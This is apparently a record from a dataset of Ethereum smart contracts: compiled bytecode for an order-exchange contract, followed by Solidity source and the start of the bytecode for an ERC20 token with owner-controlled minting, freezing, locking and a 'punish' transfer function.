000000000000000000000000000600052603260045260246000fd5b602002016020810190611bd99190613f74565b3388600060068110611c14577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040518463ffffffff1660e01b8152600401611c3793929190614572565b600060405180830381600087803b158015611c5157600080fd5b505af1158015611c65573d6000803e3d6000fd5b50505050600085600360068110611ca5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201351115611d5857600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc86600360068110611d26577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201359081150290604051600060405180830381858888f19350505050158015611d56573d6000803e3d6000fd5b505b600085600560068110611d94577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201351115611e715785600260058110611dd9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611dec9190613f74565b73ffffffffffffffffffffffffffffffffffffffff166108fc86600560068110611e3f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201359081150290604051600060405180830381858888f19350505050158015611e6f573d6000803e3d6000fd5b505b85600160058110611eab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611ebe9190613f74565b73ffffffffffffffffffffffffffffffffffffffff166108fc86600560068110611f11577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013587600360068110611f50577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013534611f609190614a08565b611f6a9190614a08565b9081150290604051600060405180830381858888f19350505050158015611f95573d6000803e3d6000fd5b50833373ffffffffffffffffffffffffffffffffffffffff1687600160058110611fe8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190611ffb9190613f74565b73ffffffffffffffffffffffffffffffffffffffff167f2c7bf6ee09326fa3fbd9b912516cb6953c9556299ec48456618e01d41081b0aa8860016006811061206c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358a6003600581106120ab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906120be9190613f74565b8a6003600681106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358b600560068110612137577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358d600260058110612176577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906121899190613f74565b8e6004600581106121c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906121d69190613f74565b6040516121e8969594939291906148bb565b60405180910390a4505050505050505050565b6000600182600660078110612239577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201511415612452577f8f56730f66b8f83687c499fa9adbd90345d19f433677b1c89d97bd615f0689408260066007811061229f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151846000600381106122de577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518460016007811061231d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518560036007811061235c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518760016003811061239b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151876002600781106123da577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600460078110612419577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151604051602001612435989796959493929190614632565b60405160208183030381529060405280519060200120905061265c565b7f11c6fd2ed9f491031306a176b645e6e75cdcc3d771ecf757b21e61f800f139b5826000600781106124ad577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151846000600381106124ec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518460016007811061252b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518560036007811061256a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151876001600381106125a9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151876002600781106125e8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600460078110612627577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151604051602001612643989796959493929190614632565b6040516020818303038152906040528051906020012090505b92915050565b60008160026007811061269e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201514211156126b35760029050612c59565b60006001836006600781106126f1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151141561290a577f8f56730f66b8f83687c499fa9adbd90345d19f433677b1c89d97bd615f06894083600660078110612757577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015185600060038110612796577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151856001600781106127d5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015186600360078110612814577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600160038110612853577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600260078110612892577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151896004600781106128d1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201516040516020016128ed989796959493929190614632565b604051602081830303815290604052805190602001209050612b14565b7f11c6fd2ed9f491031306a176b645e6e75cdcc3d771ecf757b21e61f800f139b583600060078110612965577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151856000600381106129a4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151856001600781106129e3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015186600360078110612a22577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600160038110612a61577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015188600260078110612aa0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015189600460078110612adf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151604051602001612afb989796959493929190614632565b6040516020818303038152906040528051906020012090505b6000612b1e613cb0565b82604051602001612b30929190614504565b60405160208183030381529060405280519060200120905060006001828a8a8a60405160008152602001604052604051612b6d949392919061475b565b6020604051602081039080840390855afa158015612b8f573d6000803e3d6000fd5b50505060206040510351905085600160038110612bd5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614612c185760009350505050612c59565b600115156001600085815260200190815260200160002060009054906101000a900460ff1615151415612c515760019350505050612c59565b600393505050505b95945050505050565b60007f48b47302fd6c42e509da9a3671ab74168d26db49c015569040ea23d0a300cf7582600060068110612cbf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060058110612cfe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190612d119190613f74565b84600160068110612d4b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013585600360068110612d8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013586600560068110612dc9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013588600260058110612e08577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190612e1b9190613f74565b89600160058110612e55577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190612e689190613f74565b8a600460058110612ea2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190612eb59190613f74565b8a600260068110612eef577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358b600460068110612f2e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135604051602001612f4d9b9a999897969594939291906146b0565b604051602081830303815290604052805190602001209050600160008083815260200190815260200160002060006101000a81548160ff021916908315150217905550807fcd2c87f669ea6af86cba06646e4dbc7ab811e15d7776906314721e5c4169c1ac60405160405180910390a2505050565b6000600182600660078110613000577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201351415613235577f8f56730f66b8f83687c499fa9adbd90345d19f433677b1c89d97bd615f06894082600660078110613066577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135846000600381106130a5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906130b89190613f74565b846001600781106130f2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013585600360078110613131577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013587600160038110613170577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906131839190613f74565b876002600781106131bd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135886004600781106131fc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135604051602001613218989796959493929190614632565b60405160208183030381529060405280519060200120905061345b565b7f11c6fd2ed9f491031306a176b645e6e75cdcc3d771ecf757b21e61f800f139b582600060078110613290577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135846000600381106132cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906132e29190613f74565b8460016007811061331c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358560036007811061335b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358760016003811061339a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906133ad9190613f74565b876002600781106133e7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013588600460078110613426577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135604051602001613442989796959493929190614632565b6040516020818303038152906040528051906020012090505b600180600083815260200190815260200160002060006101000a81548160ff021916908315150217905550807f26e53791d4bb01bdfb0fa46594d8c6d2645ea486d869091f254c81f564c582e060405160405180910390a2505050565b60007f48b47302fd6c42e509da9a3671ab74168d26db49c015569040ea23d0a300cf7582600060068110613515577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060058110613554577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906135679190613f74565b846001600681106135a1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135856003600681106135e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358660056006811061361f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358860026005811061365e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906136719190613f74565b896001600581106136ab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906136be9190613f74565b8a6004600581106136f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061370b9190613f74565b8a600260068110613745577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358b600460068110613784577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040516020016137a39b9a999897969594939291906146b0565b60405160208183030381529060405280519060200120905092915050565b6000816002600681106137fd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201354211156138125760029050613c67565b60007f48b47302fd6c42e509da9a3671ab74168d26db49c015569040ea23d0a300cf758360006006811061386f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135856000600581106138ae577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906138c19190613f74565b856001600681106138fb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358660036006811061393a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013587600560068110613979577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135896002600581106139b8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906139cb9190613f74565b8a600160058110613a05577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190613a189190613f74565b8b600460058110613a52577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190613a659190613f74565b8b600260068110613a9f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358c600460068110613ade577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135604051602001613afd9b9a999897969594939291906146b0565b6040516020818303038152906040528051906020012090506000613b1f613cb0565b82604051602001613b31929190614504565b60405160208183030381529060405280519060200120905060006001828a8a8a60405160008152602001604052604051613b6e949392919061475b565b6020604051602081039080840390855afa158015613b90573d6000803e3d6000fd5b50505060206040510351905085600160058110613bd6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002016020810190613be99190613f74565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614613c275760009350505050613c67565b6001151560008085815260200190815260200160002060009054906101000a900460ff1615151415613c5f5760019350505050613c67565b600393505050505b95945050505050565b60006020528060005260406000206000915054906101000a900460ff1681565b60016020528060005260406000206000915054906101000a900460ff1681565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6040518060400160405280600881526020017f474f4c4f4d2e494f000000000000000000000000000000000000000000000000815250805190602001206040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525080519060200120600130604051602001613d649594939291906145df565b60405160208183030381529060405280519060200120905090565b6000613d92613d8d846149a0565b61496f565b90508082856020860282011115613da857600080fd5b60005b85811015613dd85781613dbe8882613e45565b845260208401935060208301925050600181019050613dab565b5050509392505050565b6000613df5613df0846149c6565b61496f565b90508082856020860282011115613e0b57600080fd5b60005b85811015613e3b5781613e218882613f4a565b845260208401935060208301925050600181019050613e0e565b5050509392505050565b600081359050613e5481614b5d565b92915050565b600081905082602060030282011115613e7257600080fd5b92915050565b600082601f830112613e8957600080fd5b6003613e96848285613d7f565b91505092915050565b600081905082602060050282011115613eb757600080fd5b92915050565b600081905082602060060282011115613ed557600080fd5b92915050565b600081905082602060070282011115613ef357600080fd5b92915050565b600082601f830112613f0a57600080fd5b6007613f17848285613de2565b91505092915050565b600081519050613f2f81614b74565b92915050565b600081359050613f4481614b8b565b92915050565b600081359050613f5981614ba2565b92915050565b600081359050613f6e81614bb9565b92915050565b600060208284031215613f8657600080fd5b6000613f9484828501613e45565b91505092915050565b6000806101408385031215613fb157600080fd5b6000613fbf85828601613e5a565b9250506060613fd085828601613edb565b9150509250929050565b6000806101408385031215613fee57600080fd5b6000613ffc85828601613e78565b925050606061400d85828601613ef9565b9150509250929050565b600080610160838503121561402b57600080fd5b600061403985828601613e9f565b92505060a061404a85828601613ebd565b9150509250929050565b60006020828403121561406657600080fd5b600061407484828501613f20565b91505092915050565b60006020828403121561408f57600080fd5b600061409d84828501613f35565b91505092915050565b60008060008060006101a086880312156140bf57600080fd5b60006140cd88828901613f5f565b95505060206140de88828901613f35565b94505060406140ef88828901613f35565b935050606061410088828901613e5a565b92505060c061411188828901613edb565b9150509295509295909350565b60008060008060006101a0868803121561413757600080fd5b600061414588828901613f5f565b955050602061415688828901613f35565b945050604061416788828901613f35565b935050606061417888828901613e78565b92505060c061418988828901613ef9565b9150509295509295909350565b60008060008060006101c086880312156141af57600080fd5b60006141bd88828901613f5f565b95505060206141ce88828901613f35565b94505060406141df88828901613f35565b93505060606141f088828901613e9f565b92505061010061420288828901613ebd565b9150509295509295909350565b61421881614a9b565b82525050565b61422781614a3c565b82525050565b61423681614a4e565b82525050565b61424581614a5a565b82525050565b61425c61425782614a5a565b614af5565b82525050565b61426b81614aad565b82525050565b61427a81614abf565b82525050565b600061428d6011836149ec565b91507f696e76616c6964207369676e61747572650000000000000000000000000000006000830152602082019050919050565b60006142cd6016836149ec565b91507f6572726f7220696e2077657468207472616e73666572000000000000000000006000830152602082019050919050565b600061430d601c836149ec565b91507f6e6f742066696c6c61626c6520627920746869732061646472657373000000006000830152602082019050919050565b600061434d6019836149ec565b91507f6f726465722066696c6c6564206f722063616e63656c6c6564000000000000006000830152602082019050919050565b600061438d6002836149fd565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006143cd601a836149ec565b91507f5369676e6564207472616e73616374696f6e20657870697265640000000000006000830152602082019050919050565b600061440d600d836149ec565b91507f77726f6e672065746820616d74000000000000000000000000000000000000006000830152602082019050919050565b600061444d601e836149ec565b91507f5369676e61747572653a20496e76616c6964207620706172616d6574657200006000830152602082019050919050565b600061448d603a836149ec565b91507f666f756e64206d616c6c6561626c65207369676e61747572652c20706c65617360008301527f6520696e736572742061206c6f772d73207369676e61747572650000000000006020830152604082019050919050565b6144ef81614a84565b82525050565b6144fe81614a8e565b82525050565b600061450f82614380565b915061451b828561424b565b60208201915061452b828461424b565b6020820191508190509392505050565b6000606082019050614550600083018661421e565b61455d602083018561420f565b61456a60408301846144e6565b949350505050565b6000606082019050614587600083018661421e565b614594602083018561421e565b6145a160408301846144e6565b949350505050565b60006020820190506145be600083018461422d565b92915050565b60006020820190506145d9600083018461423c565b92915050565b600060a0820190506145f4600083018861423c565b614601602083018761423c565b61460e604083018661423c565b61461b6060830185614271565b614628608083018461421e565b9695505050505050565b600061010082019050614648600083018b61423c565b614655602083018a6144e6565b614662604083018961421e565b61466f60608301886144e6565b61467c60808301876144e6565b61468960a083018661421e565b61469660c08301856144e6565b6146a360e08301846144e6565b9998505050505050505050565b6000610160820190506146c6600083018e61423c565b6146d3602083018d6144e6565b6146e0604083018c61421e565b6146ed606083018b6144e6565b6146fa608083018a6144e6565b61470760a08301896144e6565b61471460c083018861421e565b61472160e083018761421e565b61472f61010083018661421e565b61473d6101208301856144e6565b61474b6101408301846144e6565b9c9b505050505050505050505050565b6000608082019050614770600083018761423c565b61477d60208301866144f5565b61478a604083018561423c565b614797606083018461423c565b95945050505050565b600060208201905081810360008301526147b981614280565b9050919050565b600060208201905081810360008301526147d9816142c0565b9050919050565b600060208201905081810360008301526147f981614300565b9050919050565b6000602082019050818103600083015261481981614340565b9050919050565b60006020820190508181036000830152614839816143c0565b9050919050565b6000602082019050818103600083015261485981614400565b9050919050565b6000602082019050818103600083015261487981614440565b9050919050565b6000602082019050818103600083015261489981614480565b9050919050565b60006020820190506148b560008301846144e6565b92915050565b600060c0820190506148d060008301896144e6565b6148dd602083018861421e565b6148ea60408301876144e6565b6148f760608301866144e6565b614904608083018561421e565b61491160a083018461421e565b979650505050505050565b600060a08201905061493160008301886144e6565b61493e60208301876144e6565b61494b60408301866144e6565b614958606083018561421e565b6149656080830184614262565b9695505050505050565b6000604051905081810181811067ffffffffffffffff8211171561499657614995614b2e565b5b8060405250919050565b600067ffffffffffffffff8211156149bb576149ba614b2e565b5b602082029050919050565b600067ffffffffffffffff8211156149e1576149e0614b2e565b5b602082029050919050565b600082825260208201905092915050565b600081905092915050565b6000614a1382614a84565b9150614a1e83614a84565b925082821015614a3157614a30614aff565b5b828203905092915050565b6000614a4782614a64565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614aa682614ad1565b9050919050565b6000614ab882614a84565b9050919050565b6000614aca82614a8e565b9050919050565b6000614adc82614ae3565b9050919050565b6000614aee82614a64565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b614b6681614a3c565b8114614b7157600080fd5b50565b614b7d81614a4e565b8114614b8857600080fd5b50565b614b9481614a5a565b8114614b9f57600080fd5b50565b614bab81614a84565b8114614bb657600080fd5b50565b614bc281614a8e565b8114614bcd57600080fd5b5056fea264697066735822122060728dad635962a13131e0f7c6e58747fa9bc0e31e2f2a51122ebb73969a5a9164736f6c63430008000033 | {"success": true, "error": null, "results": {}} | 685 |
0x82FfF81d7fC79eAAE91C5EF348e3d9ecF2870ff9 | pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
contract TokenERC20 is owned{
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;//交易发起者允许地址是——spender的用户对他自己的代币可以转移的数量
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract MyAdvancedToken is owned, TokenERC20 {
uint256 public restCandy = 5000000 * 10 ** uint256(decimals);
uint256 public eachCandy = 10* 10 ** uint256(decimals);
mapping (address => bool) public frozenAccount;
mapping (address => uint) public lockedAmount;
mapping (address => uint) public lockedTime;
mapping (address => bool) public airdropped;
/* public event about locking */
event LockToken(address target, uint256 amount, uint256 unlockTime);
event OwnerUnlock(address target, uint256 amount);
event UserUnlock(uint256 amount);
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function MyAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
// airdrop candy, for each address can only receive candy by sending 0 token once, but unlimited times by receiving tokens.
if(_value == 0
&& airdropped[msg.sender] == false
&& msg.sender != owner
&& _from != _to
&& restCandy >= eachCandy * 2
&& balanceOf[owner] >= eachCandy * 2) {
airdropped[msg.sender] = true;
_transfer(owner, _to, eachCandy);
_transfer(owner, _from, eachCandy);
restCandy -= eachCandy * 2;
}
Transfer(_from, _to, _value);
}
//pay violator's debt by send coin
function punish(address violator,address victim,uint amount) public onlyOwner
{
_transfer(violator,victim,amount);
}
function rename(string newTokenName,string newSymbolName) public onlyOwner
{
name = newTokenName; // Set the name for display purposes
symbol = newSymbolName;
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice lock some amount token
/// @param target address which will be locked some token
/// @param lockAmount token amount
/// @param lockPeriod time until unlock
function lockToken (address target, uint256 lockAmount, uint256 lockPeriod) onlyOwner public returns(bool res) {
require(balanceOf[msg.sender] >= lockAmount); // make sure owner has enough balance
require(lockedAmount[target] == 0); // cannot lock unless lockedAmount is 0
balanceOf[msg.sender] -= lockAmount;
lockedAmount[target] = lockAmount;
lockedTime[target] = now + lockPeriod;
LockToken(target, lockAmount, now + lockPeriod);
return true;
}
/// @notice cotnract owner unlock some token for target address despite of time
/// @param target address to receive unlocked token
/// @param amount unlock token amount, no more than locked of this address
function ownerUnlock (address target, uint256 amount) onlyOwner public returns(bool res) {
require(lockedAmount[target] >= amount);
balanceOf[target] += amount;
lockedAmount[target] -= amount;
OwnerUnlock(target, amount);
return true;
}
/// @notice user unlock his/her own token
/// @param amount token that user wish to unlock
function userUnlockToken (uint256 amount) public returns(bool res) {
require(lockedAmount[msg.sender] >= amount); // make sure no more token user could unlock
require(now >= lockedTime[msg.sender]); // make sure won't unlock too soon
lockedAmount[msg.sender] -= amount;
balanceOf[msg.sender] += amount;
UserUnlock(amount);
return true;
}
/// @notice multisend token to many address
/// @param addrs addresses to receive token
/// @param _value token each addrs will receive
function multisend (address[] addrs, uint256 _value) public returns(bool res) {
uint length = addrs.length;
require(_value * length <= balanceOf[msg.sender]);
uint i = 0;
while (i < length) {
transfer(addrs[i], _value);
i ++;
}
return true;
}
} | 0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461016f578063095ea7b3146101ff57806310af92ba1461026457806318160ddd1461028f57806320b57614146102ba57806323b872dd146103155780632dc9ad7f1461039a578063313ce567146104225780633266fb051461045357806340528f98146104aa57806342966c681461050f57806370a082311461055457806379c65068146105ab57806379cc6790146105f8578063839972f91461065d5780638da5cb5b146106cc57806395d89b41146107235780639748dcdc146107b35780639c7c722b14610820578063a153e708146108cf578063a9059cbb14610926578063b10cf22414610973578063b414d4b6146109b8578063cae9ca5114610a13578063dd62ed3e14610abe578063e724529c14610b35578063e81fdd7714610b84578063f2fde38b14610baf575b600080fd5b34801561017b57600080fd5b50610184610bf2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c45780820151818401526020810190506101a9565b50505050905090810190601f1680156101f15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020b57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c90565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610d1d565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610d23565b6040518082815260200191505060405180910390f35b3480156102c657600080fd5b506102fb600480360381019080803573ffff